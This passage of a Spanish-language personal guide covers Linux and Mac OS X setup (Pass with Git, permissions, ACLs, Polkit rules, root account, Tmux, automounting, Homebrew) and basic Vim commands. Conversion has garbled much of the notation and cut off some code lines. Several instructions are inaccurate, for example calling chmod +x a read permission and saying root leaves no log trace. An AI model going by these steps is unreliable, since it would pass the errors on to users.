La respuesta del comando le dirá que se ha creado el directorio ~/.password-store/ y que se ha inicializado el almacén de contraseñas para ⟨*e-mail*⟩.

Ahora debe inicializar el repositorio Github que usará Pass:

```
$ pass git init
```

Puede hacer esto con el prompt donde quiera. El repositorio, en principio, estará vacío; sólo tendrá ficheros de configuración. El comando le dirá que el repositorio Github que acaba de crear se encuentra en ~/.password-store/.git/. Ahora deberá mover su prompt a ~/.password-store/.git/:

```
$ cd ~/.password-store/.git/
```

Esto es necesario para el siguiente paso. Ahora deberá añadir un remoto a su repositorio:

```
\$ git remote add \langle local\_remo \rangle \langle url\_remo \rangle
```

En mi caso, ⟨local_remo⟩ vale origin y, ⟨url_remo⟩, https://github.com/zfur/pass-store.git. Si no tuviera su prompt en ~/.password-store/.git/ antes de introducir este último comando, podría haberle dado un error o se hubiera añadido el repositorio donde no debía. Ahora deberá verificar que se ha añadido correctamente el remoto a su repositorio; deberá introducir el siguiente comando con su prompt en ~/.password-store/:

```
$ git remote -v origin https://github.com/\langle user \rangle / \langle repo \rangle.git (fetch) origin https://github.com/\langle user \rangle / \langle repo \rangle.git (push)
```

Deberá devolverle algo parecido a lo que he puesto aquí. Si lo desea, puede comprobar que, con su prompt en ~/.git/, no le devuelve esto mismo, pues ahí no tiene añadido este remoto. Ahora, por fin, puede hacer la descarga de los datos de su remoto a su repositorio local; es decir, el pull o fetch:

```
$ pass git pull \langle local_remo \rangle \langle branch \rangle
```

En mi caso, $\langle local_remo \rangle$ es origin y, $\langle branch \rangle$, master. Se abrirá un editor de texto en el que se le pedirá que explique por qué ha unido este sistema a su cuenta de Github. Deberá escribir algo, lo que sea, para que se ejecute correctamente el comando anterior; deberá introducirlo en la primera lína, la de más arriba.

Ahora, estando en la ruta del repositorio en su ordenador, introduzca:

```
$ git push --set-upstream \langle repo \rangle \langle branch \rangle
```

En mi caso (repo) es origin y (branch) master como antes

Ahora, si su repositorio es antiguo, puede hacer la siguiente configuración para que Github funcione como en la última versión:

```
$ git config --global push.default simple
```

Esto, en concreto, lo que hace es que el push que hace si no se especifica más es uno simple.

Ahora sí puede hacer, desde la ruta adecuada del prompt, el

```
# pass git push \langle repo \rangle \langle branch \rangle
```

para que se actualice el repositorio en Internet con los cambios que le haya hecho usted en su ordenador. Para hacer pull o push a/de este remoto, no olvide que ha de tener su prompt en ~/.password-store/.git/.

Para eliminar un repositorio de Github que haya creado usted, deberá, simplemente, eliminar el directorio .git/ de ese repositorio. ¡Ojo!, el que se encuentra en la ruta adecuada; puede que tenga varios directorios .git/ en su sistema, por ejemplo, si tiene varios repositorios. Para saber cómo eliminar, con su shell de Linux o de Mac OS X, un directorio de su sistema, vea Eliminar un directorio de su sistema mediante el shell.

Para Mac OS X, puede instalar Pass mediante Homebrew. Sólo tendrá que introducir:

```
$ brew install --HEAD pass
Luego tiene que inicializar su cuenta de Pass:
$ pass init \langle e-mail \rangle
etc.
```

1.19 Gestión de permisos

Existen tres formas de gestionar los permisos en Linux.

1.19.1 Permisos de UNIX

Es la forma más antigua de las que exponemos aquí. Es también la más basta o, como dirían en inglés, la menos *fine grained*. Debería ser, por tanto, la primera opción para los permisos de lectura o escritura, e incluso de ejecución de pequeños programas no muy complejos.

Los permisos de UNIX es uno de los primeros temas que se abordan en cualquier libro o tutorial de Linux. Para cada fichero existen permisos de lectura (r), escritura (w) y ejecución (x) para el dueño (u) del fichero, el grupo principal del fichero (g) y para el resto de usuarios (o). La opción -1 del comando 1s le permite ver estos permisos. Por ejemplo:

```
$ ls -1
total 96
-rwxrwxrwx 1 zFur staff 48391 Jan 2 23:20 The.Man.In.The.High.Castle.S01E
drwxr-xr-x 8 zFur staff 272 Dec 25 20:35 Virtual Machines.localized
```

Los verá en la primera columna. La primera posición indica el tipo de fichero (directorio, vinculo simbólico, etc.; si es un fichero normal, se indica con un guión (-)). Luego, justo a su derecha vienen los permisos de u (recuerde, el usuario dueño del fichero), luego los de g y, finalmente, los de o. Los permisos que no se tengan, aparecerán como un guión (-); no lo confunda con el guión de la columna a la izquierda del todo. Existe un particularidad que debe conocer: la x, si el "fichero" del que se trata es un directorio, indica si se puede (o no se puede) listar sus contenidos. Como dije antes, la explicación de esto viene en cualquier libro de Linux, o en alguna página de man también, seguramente, así que no se explicará en más detalle aquí.

1.19.2 ACLs

Los ACLs (access control lists) permiten un ajuste mayor que los permisos de UNIX. Permite, por ejemplo, que se puedan entregar permisos de lectura de un documento en concreto a un usuario en particular, sin necesidad de crear un grupo ad hoc en el que sólo estaría ese usuario. No sé si el software necesario para usar ACLs viene con la instalación básica de Arch Linux. En https://wiki.archlinux.org/index.php/Access_Control_Lists puede ver una buena explicación del uso de de ACLs.

Lo normal es que su sistema monte sus sistemas de ficheros con la opción acl para así poder usar ACLs, pero, si no está seguro, puede comprobarlo con:

```
# tune2fs -l /dev/sdXY | grep "Default mount options:"
Default mount options: user_xattr acl
```

Usted puede ver que un fichero de su sistema tiene ACLs porque, por ejemplo, al hacer

```
$ ls -l
```

para ver los permisos del directorio en el que se encuentra el fichero, le aparece, justo a la derecha de los permisos de UNIX de dicho fichero, un signo más (+). Por ejemplo, podría aparecerle algo así:

```
$ ls -l /dev/audio
crw-rw---+ 1 root audio 14, 4 nov. 9 12:49 /dev/audio
```

Entonces, podrá ver los ACLs con el siguiente comando:

```
$ getfacl /dev/audio
getfacl: Removing leading '/' from absolute path names
# file: dev/audio
# owner: root
# group: audio
user::rw-
user:solstice:rw-
group::rw-
mask::rw-
other::---
```

En este caso le indica, además de los permisos de UNIX, que el usuario solstice tiene permisos de lectura (r) y escritura (w) del fichero consultado.

Para dar permisos ACL a un usuario (usuario), debe usar el comando:

```
# setfacl -m "u:\(\langle usuario\rangle : \langle permisos\rangle\)"
, si, en lugar de a un usuario, es a un grupo \(\langle grupo\rangle\),
# setfacl -m "g:\(\langle grupo\rangle : \langle permisos\rangle\)"
Para eliminar de un fichero todos los permisos ACL,
```

setfacl -b

1.19.3 Polkit

Polkit es la última forma que surjió para la gestión de permisos. La idea detrás de Polkit es algo distinta a la de los permisos de Unix y la de las ACLs. Es distinta porque en este caso el propósito es que se comuniquen de forma segura procesos sin privilegios con procesos con más privilegios. Es decir, es un marco que centraliza el proceso de toma de decisión respecto a entregar acceso a operaciones privilegiadas a aplicaciones sin privilegios. No es tanto de leer/modificar ficheros, como en los casos anteriores.

Puede ver una buena explicación de Polkit en https://wiki.archlinux.org/index.php/Polkit.

En Arch Linux para arquitectura ARM no viene de serie y, por tanto, deberá instalar el paquete polkit. Polkit hace uso de agentes de autenticación para permitir al usuario de una sesión demostrar que él es realmente el usuario de dicha sesión o que es un administrador del sistema. Hay agentes de autenticación tanto de terminal como de GUI.

1.20 Instalar Powerline

Para instalar la Powerline tanto para su shell (si éste es Bash o Zsh), Vim (o Neo-Vim) y Tmux, la mejor web que he encontrado con la explicación es http://askubuntu.com/questions/283908/how-can-i-install-and-use-powerline-plugin.

Hay dos formas de instalarlo para cada una de estas herramientas: por usuario o para todo el sistema. Yo prefiero la primera forma. De todos modos, ya no uso esta herramienta.

1.21 Habilitar y deshabilitar la cuenta de root

Para habilitar la cuenta de root, debe introducir:

\$ sudo passwd root

Se le pedirá, entonces, dos veces, que introduzca la contraseña que desea usar para el usuario root. El usuario con el que invoca el comando debe tener permisos de administración mediante sudo. Se le pedirá, entonces, antes, que introduzca la contraseña de su usuario actual para que se pueda ejecutar el comando que ha introducido (a menos que haya introducido hace poco otro comando con sudo delante).

Para deshabilitarla, sólo deberá introducir:

\$ sudo passwd -dl root

Podría haberlo introducido desde su sesión de root y no pasaría nada: una vez que saliera de esa sesión de shell, se eliminaría la cuenta de root. No olvide eliminar los ficheros o directorios que haya creado para root, para no tener ocupando espacio en su disco duro ficheros que ya no usa.

1.22 Tmux

Tmux es un multiplexor de terminal. Es como tener pestañas de su shell sin necesidad de usar un entorno gráfico. Me viene bien, por ejemplo, cuando accedo por SSH a una de mis Raspberry Pi 2 y deseo tener "pestañas". Existen otros multiplexores de terminal, como, por ejemplo, Terminator, pero me gusta más Tmux.

La web que seguí como tutorial básico para aprender a usar Tmux es http://lukaszwrobel.pl/blog/tmux-tutorial-split-terminal-windows-easily. Luego, estuve copiando ciertas cosas de https://bitbucket.org/jasonwryan/shiv/src/f0b3396de2bd?at=default para añadir cosas a mi fichero de configuración y que el banner de Tmux quede más bonito.

El fichero ~/.tmux.conf es el de configuración de Tmux para un usuario en particular. En lugar de éste, podría ser ~/.tmux/.conf; vale cualquiera de los dos. Para la configuración de todo el sistema (systemwide), el fichero es /etc/tmux.conf (advierta que éste no empieza por punto). En principio, tras instalar Tmux, no tendrá estos ficheros, deberá crearlos si desea tenerlos. Como es habitual, en caso de que existan ambos y haya discrepancias, tendrá prioridad el del usuario. Mi preferencia actualmente es la de usar configuraciones para cada usuario. Suelo tener en repositorios de Github mis ficheros de configuración y es bastante cómodo descargarlas.

El fichero /etc/tmux.conf que suelo usar ahora mismo en mis sistemas contiene lo siguiente:

```
unbind C-b
set -g prefix C-a
set -g status-utf8 on
set -g status-bg colour18
#set -g status-fg colour39
#set-window-option -g window-status-current-bg colour21
set -g default-terminal "screen-256color"

# listen for activity on all windows
set -g bell-action any
# wm window title string (uses statusbar variables)
set -g set-titles-string "tmux:#I [ #W ]"
# environment
set -g update-environment "DISPLAY SSH_ASKPASS SSH_AUTH_SOCK SSH_AGENT_PID SSH_CONNECTION WINDOWID X
# reload config without killing server
bind R source-file /etc/tmux.conf \; display-message " Config reloaded..."
# border colours
set -g pane-border-fg blue
```

```
set-window-option -g window-status-current-fg green
set -g message-fg white
```

Esto hace que, cuando el usuario sea root, la "pestaña" resaltada, es decir, la activa, en lugar de estar coloreada de verde lo esté de rojo. Aun así, hay que evitar el uso de la cuenta root, ya que no deja rastro en los logs del sistema. El mantenimiento, si el sistema está bien configurado, puede realizarse con cuentas de administrador con los permisos adecuados.

Antes lo usaba, pero ahora creo que me evito problemas si lo que uso son ventanas de terminal. Tmux me ha dado problemas con Vim, puesto que no es del todo compatible si usas xterm-256color; aquí lo explican: http://sunaku.github.io/vim-256color-bce.html. Además, quiero dejar de usar tantas pestañas, tanto en el shell como en Vim, y usar como buffers.

1.23 Instalar y desinstalar el software de virtualización Vmware

Para instalar VMware Player en Ubuntu 14.04, se necesita instalar la versión 6.0.2 o alguna posterior. Lo primero es introducir el siguiente comando:

```
# apt-get install build-essential linux-headers-$(uname -r)
```

Una vez realizada esta instalación, se descargará el archivo VMware-Player-6.0.2-1744117. i386. bundle en cualquier directorio de su disco duro y deberá asignarle permisos de lectura para todos, con el siguiente comando:

```
# chmod +x VMware-Player-6.0.2-1744117.i386.bundle
```

Luego, se ejecutará el propio archivo, que es un script, del siguiente modo:

```
# ./VMware-Player-6.0.2-1744117.i386.bundle
```

Entonces sale el asistente interactivo de instalación (wizard). Cuando pide que se introduzca la clave del producto es por si desea actualizar a la versión Pro de VMware Player. Si desea seguir con la versión básica, no ponga ninguna clave y pinche en Siguiente.

Para desinstalar, deberá introducir el comando:

```
# vmware-installer -u vmware-player
```

y seguir las indicaciones del asistente que aparecerá.

1.24 Automontar

Cuando aquí hablamos de *unidades*, nos referimos tanto a medios removibles de almacenamiento, como a teléfonos o reproductores de medios que hagan uso del protocolo media transfer protocol (MTP), como a cámaras de foto digitales, etc.

Esta sección le interesa si no va a instalar un entorno de escritorio en su sistema. Los entornos de escritorio, al menos los más usados, le instalan sin pedirle permiso herramientas que configuran el automontado de unidades en su sistema. Por ejemplo, si tiene un entorno de escritorio Gnome o uno basado en Gnome, tendrá instalado Gnome Virtual File System (gvfs), que se encarga de automontar unidades en su sistema y será usado por su file manager (gestor de ficheros), como Nautilus, por ejemplo, o el que sea que tenga.

Lo primero que debe hacer es instalar el paquete udisks2. Ahora, cree el fichero /etc/polkit-1/rules.d/50-udisks.rules con el siguiente contenido:

```
polkit.addRule(function(action, subject) {
  var YES = polkit.Result.YES;
  var permission = {
    //// only required for udisks1:
    //"org.freedesktop.udisks.filesystem-mount": YES,
    //"org.freedesktop.udisks.filesystem-mount-system-internal": YES,
    //"org.freedesktop.udisks.luks-unlock": YES,
    //"org.freedesktop.udisks.drive-eject": YES,
    //"org.freedesktop.udisks.drive-detach": YES,
    // only required for udisks2:
    "org.freedesktop.udisks2.filesystem-mount": YES,
    "org.freedesktop.udisks2.filesystem-mount-system": YES,
    "org.freedesktop.udisks2.encrypted-unlock": YES,
    "org.freedesktop.udisks2.eject-media": YES,
    "org.freedesktop.udisks2.power-off-drive": YES,
    // required for udisks2.power-off-drive": YES,
    "org.freedesktop.udisks2.filesystem-mount-other-seat": YES,
    "org.freedesktop.udisks2.encrypted-unlock-other-seat": YES,
    "org.freedesktop.udisks2.eject-media-other-seat": YES,
    "org.freedesktop.udisks2.eject-media-other-seat": YES,
    "org.freedesktop.udisks2.power-off-drive-other-seat": YES,
    "org.freedesktop.udisks2.powe
```

Yo, como suelo usar udisks2, en este último listado comento (con //, ya que este fichero tiene código Javascript) la parte de udisks1. Esto hace que los usuarios que pertenecen al grupo storage puedan montar sistemas de ficheros. Tras reiniciar el sistema, ahora debería ser capaz de montar discos externos con cualquier usuario del grupo storage. Si lo ha probado con el comando mount y no le ha funcionado, es porque debería haber usado el comando de Udisks2 para montar, que es:

```
\$ udisksctl mount -b \langle disp	ext{-bloque} 
angle
```

Ahora deberá instalar udevil, que es un paquete que incluye el software devmon, que es un Udisks wrapper, una herramienta que permite el automontado de unidades.

Ahora, para montar unidades con udisks o udisks2, elimine el permiso SUID de udevil:

```
# chmod -s /usr/bin/udevil
```

Tras esto, deberá habilitar el servicio devmon para que se inicie con el inicio del sistema:

```
# systemctl enable devmon@\langle usuario \rangle.service
```

En mi caso, $\langle usuario \rangle$ es kodi. Deberá hacerlo para todos los usuarios que desee que puedan automontar unidades.

Lo que voy a explicar ahora tiene el propósito de que las unidades que se monten automáticamente no lo hagan a /run/media/\\$USER/, que es la ruta predeterminada, sino a /media/. Para ello, deberá crear una regla en su sistema.

Primero cree el directorio /media/, si es que no existe.

Ahora cree la regla, es decir, cree el fichero /etc/udev/rules.d/99-udisks2.rules con el siguiente contenido:

```
# UDISKS_FILESYSTEM_SHARED
# ==1: mount filesystem to a shared directory (/media/VolumeName)
# ==0: mount filesystem to a private directory (/run/media/$USER/VolumeName)
# See udisks(8)
ENV{ID_FS_USAGE}=="filesystem|other|crypto", ENV{UDISKS_FILESYSTEM_SHARED}="1"
```

Las distribuciones de Linux no suelen traer instalado software para montar unidades de almacenamiento con sistema de ficheros NTFS. Para instalarlo en Arch Linux, deberá instalar el paquete ntfs-3g. Para exFAT, fuse-exfat o exfat-utils (creo que es preferible el primero; vea Usar tarjetas SD con sistema de ficheros exFAT). Para montar ISOs, puede usar fuseiso (que, lógicamente, emplea FUSE).

1.25 Emulador de terminal en MAC OS X

El terminal de Mac OS X, de forma predeterminada está configurado para usar una paleta de sólo 16 colores. Si desea poder usar una de 256, deberá hacer varias cosas. Hay quien cree que no le compensa hacer lo que explico en este tutorial y prefiere simplemente instalar otro emulador de terminal que pueda usar 256 colores sin tener que cambiar nada. Lo que a continuación explico es una copia de lo que puede encontrar en https://gist.github.com/shawnbot/3277580.

Lo primero que debe hacer es asegurarse de que su emulador de terminal, es decir, el programa Terminal, está declarado como xterm-256color. Para esto, en la versión de Mac OS X El Capitán, deberá:

- pinchar en el menú Terminal,
- 2. en el desplegable pinche en Preferences...,
- seleccione en la columna de la izquierda el perfil que desea configurar,
- 4. pinche luego en la pestaña Advanced v
- 5. seleccione, en el menú desplegable junto a "Declare terminal as:", xterm-256color.

Ahora deberá construir una versión de screen que soporte 256 colores, pues la que tiene ahora mismo no lo soporta. Aquí se supondrá que tiene instalado y configurado el gestor de paquetes Homebrew:

```
$ brew tap homebrew/dupes
$ brew install homebrew/dupes/screen
```

Tras esto, usted tendrá el binario /usr/local/bin/screen.

Ahora, deberá, si no lo ha hecho anteriormente al configurar algún software, añadir, de forma permanente, la ruta al comienzo de su variable de entorno \$PATH:

```
$ echo 'export PATH=/usr/local/bin:$PATH' >> \
> /Users/\(\lambda user\rangle\)/.bashrc
```

Creo que lo normal es que este último paso lo realice justo tras instalar el gestor de paquetes Homebrew en su sistema, pues los paquetes que se instalan mediante Homebrew se instalan bajo /usr/local/. Entonces, con esta \$PATH, cualquier comando que escriba en su shell tratará de buscar el binario primero en /usr/local/. Muchas veces puede desear instalar mediante Homebrew un programa que ya tiene porque desea una versión más actualizada.

1.26 Homebrew en Mac OS X

Homebrew es un gestor de paquetes (package manager) para Mac OS X. Está escrito completamente en el lenguaje Ruby y hace uso de Git. El sitio web oficial es http://brew.sh/. Para instalarlo en su sistema, sólo tiene que introducir lo siguiente en su shell o emulador de terminal:

```
$ ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/mas
```

Esto hará que se instale bajo /usr/local/ y, por tanto, que no necesite permisos de administración para usarlo para instalar software. Quizás esto sea malo, porque creo que permite que cualquier usuario del sistema, aunque no se administrador, pueda instalar software mediante Homebrew en el mismo.

Una vez que lo tenga instalado, si desea instalar el paquete $\langle paquete \rangle$, sólo tendrá que introducir:

```
$ brew install \langle paquete 
angle
```

Aunque hay veces que deberá hacerlo de otro modo:

```
\$ brew install --HEAD \langle paquete
angle
```

El software que haya instalado mediante Homebrew residirá bajo /usr/local/Cellar/ y bajo /usr/local/bin/ tendrá, junto al resto de software que haya instalado tras la instalación de Mac OS X, vínculos simbólicos a /usr/local/Cellar/.

Puede encontrar la documentación oficial en https://github.com/Homebrew/homebrew/tree/master/share/doc/homebrew#readme.

El software que suelo instalar mediante Homebrew es el siguiente:

- Máxima prioridad
 - Wget. Para descargar de internet.
 - Vim. Es mi editor de textos favorito y el software que mas uso en mi ordenador.
 - Git. Me permite clonar repositorios de sitios de SVC como Github u otros basados en Git. Gracias a esto puedo, por ejemplo, descargar muy fácilmente, tras una reinstalación de mi sistema, los ficheros de configuración de Bash y de Vim.

- Bash. Suelo descargar una versión más moderna de Bash que la que trae Mac OS, pues, hay cosas, como el tab autocompletion que no funcionan tan bien como desearía en las versiones antiguas.
- Gpg. También conocido como GnuPG.
- Herramientas de TEX que se instalan solas con la instalación de MacTeX. Ojo, no instalo MacTeX con Homebrew, sino con su instalador.

Prioridad secundaria:

- Mosh. Es como SSH pero más moderno. No sé si es menos seguro, lo que sí he notado es que es más estable.
- Pass. También conocido como Passwordstore. Para almacenar claves de forma cifrada en su sistema.
- Python3.
- Screen. Para poder usar 256 colores en el emulador de terminal que uso, que es el predefinido de Mac OS X.
- Tmux. Un multiplexor de terminal. Estoy intentando no usarlo tanto.
- Bash completion. No sé si será necesario instalarlo. Lo veré la próxima vez que "formatee" el sistema operativo.

Prioridad terciaria:

- Atom. El editor de textos GUI. Yo prefiero usar Vim bajo mi emulador de terminal.
- Fish. Es un shell, un sustituto de Bash que está teniendo algo de éxito entre los usuarios de Mac OS X, aunque también lo está teniendo Zsh y yo prefiero seguir con Bash.

Hay cierto software que prefiero instalarlo con su propio instalador, como, por ejemplo, T_EX Live, que es el software que contiene todo lo necesario para procesar documentos de T_EX, LaT_EX, ConTeXt, LuaTeX, etc., es decir, T_EX y todos sus derivados. Es conveniente usar en este caso su propio instalador, puesto que conviene tenerlo, sobretodo por los paquetes (packages). T_EX Live trae su propio gestor de actualización, llamado con el comando t.lmgr.

Capítulo 2

Vim

2.1 Notación

Cuando hable de Vi, en general me referiré a cualquiera de sus variantes, a menos que lo especifique. Aun así, lo normal es que me refiera a Vim (Vi Improved).

2.2 Arranque

Creo que lo mejor es configurar Vim a mi gusto para todos los usuarios del sistema. Esto se consigue editando el fichero /etc/vimrc. Si desea que algún usuario tenga una configuración distinta, deberá entonces editar /home/<usuario>/.vimrc, donde ⟨usuario⟩ es el nombre de dicho usuario en el sistema.

Las opciones que tengo configuradas para el arranque de Vim en mi sistema son:

```
" Necesario para el uso del plugin Pathogen
execute pathogen#infect()
"syntax on " Lo pongo luego para que siga estando si quito Pathogen
filetype plugin indent on

syntax enable
set encoding=utf8
set fileencoding=utf8
set textwidth=112
set tabstop=2
set softtabstop=2
set ai shiftwidth=2
set expandtab " Prefiero usar espacios a tabulaciones
set nocompatible
set nobackup
set showmatch
```

```
set hlsearch
set incsearch
set statusline+=%h%m%r%w
set statusline+=%-14.(%1,%c%V%)\ %<%P
                                             " offset
```

Otras opciones que puedo poner, aunque ahora mismo prefiero usarlas sobre la marcha cuando las necesite, son las que se muestran en la tabla 2.1.

En Windows es igual sólo que el archivo de configuración global se crea solo, tras la instalación, en C:\Program Files\Vim\ vimrc. Está en Program Files o en Archivos de Programas.

Opciones	Descripción
:set nu!	Hace un toggle de los números que salen en el editor a la izquierda.
:set lbr!	Hace un toggle de partir palabras a final de línea o no partirlas.
:set guifont=Ubuntu\ Mono\ 13	Para que gVim use esa fuente. En Windows sería :set guifont=Consolas:h11, por ejemplo.
colorscheme tango2	Para cambiar al esquema de colores tango2, que es mi favorito (este esquema está en el ColorSamplerPack.zip, que se puede descargar de la web oficial de Vim.

Tabla 2.1 – Otras opciones de .vimrc

2.3 Instalación de esquemas de colores

Para instalar nuevos esquemas de colores, puede hacerlo con un gestor de paquetes que use su sistema; por ejemplo, con Pacman, que es el que trae Arch Linux, se puede instalar el paquete vim-colorsamplerpack; con Ubuntu creo que también habrá un paquete, aunque no sé cómo se llama ahora mismo. Este paquete instala los esquemas de colores más conocidos; luego, usted deberá editar el fichero de configuración para poder usar realmente alguno de estos esquemas de colores.

Lo normal es que, si los instala de forma global, los ficheros de los esquemas de colores estén en el directorio /usr/share/vim/vim<vers_n>/colors/, donde \(\frac{vers_n}\) es el número de versión de Vim que tiene instalada en su sistema. Creo que no tiene mucho sentido instalarlos para un único usuario; aun así, si desea hacerlo así, deberá entonces descomprimir el fichero ColorSamplerPack.zip, que puede descargar de http://www.vim.org/scripts/script.php?script_id=625, a /home/<nom_usuario>/.vim/colors/; si no existe dicho directorio, deberá crearlo. Luego, tal y como se dijo antes, deberá activar alguno de los esquemas de colores en su fichero de configuración (local, en este caso).

En Windows, para instalación local, es igual sólo que deberá descomprimir en C:\Program Files\Vim\vimfiles o en C:\Archivos de programa (x86)\Vim\vimfiles el fichero. Son dos directorios los que se sobrescriben: colors y plugins.

2.4 Empleo de pestañas

No suelo usar ya pestañas en Vi. Antes lo hacía porque creía que era más cómodo para copiar y pegar de un fichero a otro, pero la verdad es que es bastante incordio el simple proceso de cambiar de pestaña. Ahora, si tengo que editar varios ficheros, usaré un Vi en cada pestaña del emulador de terminal o, simplemente, los editaré con el editor Atom, que suelo usar más ahora.

Para abrir una nueva pestaña (tab) vacía en Vim, lo que debe hacer es introducir el comando :tabnew. Esa pestaña se abrirá sin ningún fichero cargado. Para cargarlo o crearlo se ha de usar :e <ruta-fichero>, donde ⟨ruta-fichero⟩ indica la ruta del fichero a abrir. Puede pulsar tab, justo tras introcudir :e, para poder ir navegando con las flechas por los ficheros en la barra de Vi, si es que la tiene activa. Con la flecha hacia arriba puede subir de directorio, y la flecha hacia

abajo, para bajar. Una vez que tenga abiertas varias pestañas, puede cambiar de una a otra con el comando : tabn (next tab) y :tabp (previous tab).

Puede hacer en un solo paso el proceso de abrir una pestaña nueva con el fichero que desee. Se hace, simplemente, poniendo :tabnew <nom-fichero>, en modo comando, donde $\langle nom-fichero\rangle$ es el nombre del fichero que desea abrir. También puede navegar por aquí con el uso de tab. Si tab si tab si tab si tab se creará dicho fichero, siempre y cuando lo guarde desde Vi.

2.5 Copiar y pegar texto

Después de comerme mucho la cabeza, lo mejor creo que es copiar en el portapapeles de su entorno de escritorio (el de Mac OS X, Windows 10, Gnome, KDE, etc.) y pegarlo en el propio documento con la combinación que tenga para pegar en su emulador de terminal (por ejemplo, en Mac OS X, con cmd + v; en Linux, ctrl + shift + v). Pero para poder hacer esto debe antes, en Vim, habilitar la opción de pegado, lo cual se realiza introduciendo en modo comando:

:set paste

y posteriormente pasando a modo insert. Ahora ya podrá pegar lo que desea y no habrá un desplazamiento del texto indentándose cada vez más. No olvide de quitar luego el modo paste con

:set nopaste

Existen varios modos de copiar y pegar cadenas de texto de distintos ficheros en Vi. Lo primero que debe tener en cuenta es que, para copiar/pegar cosas del/al portapapeles a/desde un terminal¹, deberá usar una variación de las combinaciones usuales de comandos: deberá usar también la tecla \Uparrow siempre que opere en el terminal. Así, para copiar texto de, por ejemplo, una web, a su terminal, deberá copiar primero el texto al portapapeles tal y como se hace normalmente, es decir, con la combinación \boxed{ctrl} \boxed{c} y luego, para copiarlo del portapapeles a su terminal, deberá usar \boxed{ctrl} $\boxed{\uparrow}$ \boxed{v} . En el caso opuesto, es decir, copiar de su terminal a una aplicación que sí opere directamente con el portapapeles del escritorio normalmente, deberá usar primero \boxed{ctrl} $\boxed{\uparrow}$ \boxed{c} y, luego, \boxed{ctrl} \boxed{v} . Este método sirve para copiar/pegar cosas de/a su terminal y, por supuesto, también desde Vi, pero al trabajar con Vi tendrá que tener en cuenta una particularidad: para copiar/pegar mediante este método, deberá estar en modo insert.

Existen también otros métodos más incómodos para copiar y pegar entre ficheros abiertos con un mismo proceso de Vi (por ejemplo, ficheros abiertos en pestañas distintas de la misma sesión de Vi). Lo que debe hacer es:

- 1. entrar en modo visual (vea **??**),
- 2. hacer yank al texto seleccionado, cosa que se consigue pulsando la tecla |y|
- 3. ir a la ubicación donde desea pegar el texto seleccionado,

¹Aunque aquí se hable de *terminal*, al estar trabajando en un entorno de escritorio, en realidad quiere decir, *emulador* de terminal

4. pulsar la tecla p (de *paste*).

Lo que no se puede conseguir de este modo es pegar algo que hayamos copiado en algo externo a Vi, como, p.ej., una página web o un documento de LibreOffice. Es decir, no permite copiar de este modo cosas del portapapeles del escritorio. Tampoco permite copiar y pegar de ficheros abiertos en pestañas distintas de tmux, pues pertenecen a procesos distintos del sistema.

Otro modo, más complicado en mi opinión, sería el siguiente:

- 1. estás en Vi editando un fichero, que llamaremos aquí file1,
- 2. en modo comando, pon: e: file2, siendo file2 el fichero donde está lo que quieres copiar; se te abrirá entonces ese fichero en el editor,
- 3. copia entonces lo que quieres como sueles hacerlo (6 y y , por ejemplo, si quieres copiar 6 líneas desde donde estás),
- 4. Pon: b1 para cambiar al buffer 1, es decir, donde está file1
- 5. coloca el cursor donde quieras pegar el texto y, en modo comando, pulsa p.

Al haber abierto también el otro archivo, es decir, al haber usado dos buffers, puedes cambiar de uno a otro, como si hubieses habierto un tab nuevo en un navegador web. Se cambia de uno a otro con ctrl + w s o con :tabn (tab next) y :tabp (tab previous).

Esta explicación está sacada de http://stackoverflow.com/questions/4620672/copy-and-paste-content-from-one-file-to-another-file-in-vi. También explican otras muchas formas de hacerlo. Creo que con "+y para copia y "+p para pegar también debería poderse hacer, pero a mí no me funciona.

2.6 Deshacer

Para deshacer la última acción que haya realizado, debe introducir :u en modo comando y después pulsando *intro*. También se puede hacer sin los dos puntos, es decir, simplemente, estando en modo comando, pulsar la tecla <u>u</u>, lo cual es bastante más cómodo. Se puede hacer varias veces consecutivas

Para rehacer un cambio que ha deshecho, deberá usar la combinación $\boxed{\textit{ctrl}} + \boxed{r}$.

2.7 Seleccionar texto

En el modo visual se entra al estar en modo comando y pulsar la tecla v. Al hacer esto se marca el texto confonme mueva las teclas de cursor. Si quiere marcar una línea entera, puede conseguirlo pulsando \uparrow + v (uve mayúscula (V)) en lugar de v.

Una vez marcado el texto deseado, puede copiarlo con la tecla y (yank) y luego pegarlo con p (paste).

Más información, en http://www.cs.swarthmore.edu/help/vim/selection.html.

2.8 Guardar fichero

Para guardar el fichero que está editando, debe introducir, en modo comando, :w <nom-fichero>, donde ⟨nom-fichero⟩ es el nombre con el que desea guardar el fichero. Si desea que el nombre sea el mismo que el que tenía, basta con que ponga, simplemente, :w en modo comando.

2.9 Salir

Para salir, tendrá que introducir, en modo comando, :q. El programa no le dejará que salga si ha realizado cambios en el fichero y no los ha guardado. Puede forzar, en ese caso, la salida sin guardar, con :q!, en modo comando, claro. En realidad, no es que se salga de Vim con este comando, sino que se cierra la pestaña que se estaba editando. Si sólo tenía una pestaña, se cerrará el programa.

Se puede guardar y salir con un solo comando: :wq. Esto guarda el fichero con el mismo nombre que tenía y lo cierra.

2.10 Buscar texto

Para buscar texto basta con introducir, en modo comando,

```
/ (cadena)
```

donde $\langle cadena \rangle$ es la cadena que desea buscar. Luego, conforme pulse n, se irán mostrando las coincidencias siguientes con la cadena que introdujo. Si pulsa n + n (es decir, como si deseara escribir N), se irán mostrando las coincidencias pero hacia atrás en el documento.

Si hubiera querido buscar el primer término que aparece en el sentido inverso, tendría que haber puesto, en modo comando,

```
? (cadena)
```

2.11 Reemplazar texto

Para reemplazar una determinada cadena de texto $\langle cad\text{-}vieja \rangle$ de un fichero, puede hacer lo siguiente, en modo comando:

```
: %s / \(cad-vieia\) / \(\langle cad-nueva\) / \(\langle opciones\)
```

% indica que se haga para todo el documento. Si desea reemplazar texto desde la posición actual del cursor en adelante, deberá introducir, en modo comando:

```
: . ,$s/{cad-vieja}/{cad-nueva}/{opciones}
```

Ojo con la s al final, que es muy común olvidarla. En cuanto al parámetro $\langle opciones \rangle$, yo suelo usar g y c (se pueden poner juntos); con c consigo que me pregunte por cada cambio y, con g, que se haga para todo el documento, no solo la línea en la que estoy. Como, al preguntarnos, nos da la opción de abortar, este mismo comando podría usarse también simplemente para buscar.

2.12 Actualizar ajuste de texto

Para actualizar el ajuste de texto de parte de un fichero que esté editando con Vim, puede, estando en modo comando al comienzo del párrafo, pulsar g, q, f. Otra forma sería seleccionarlo (vea ??) y pulsar g, q.

2.13 Autoindentar texto

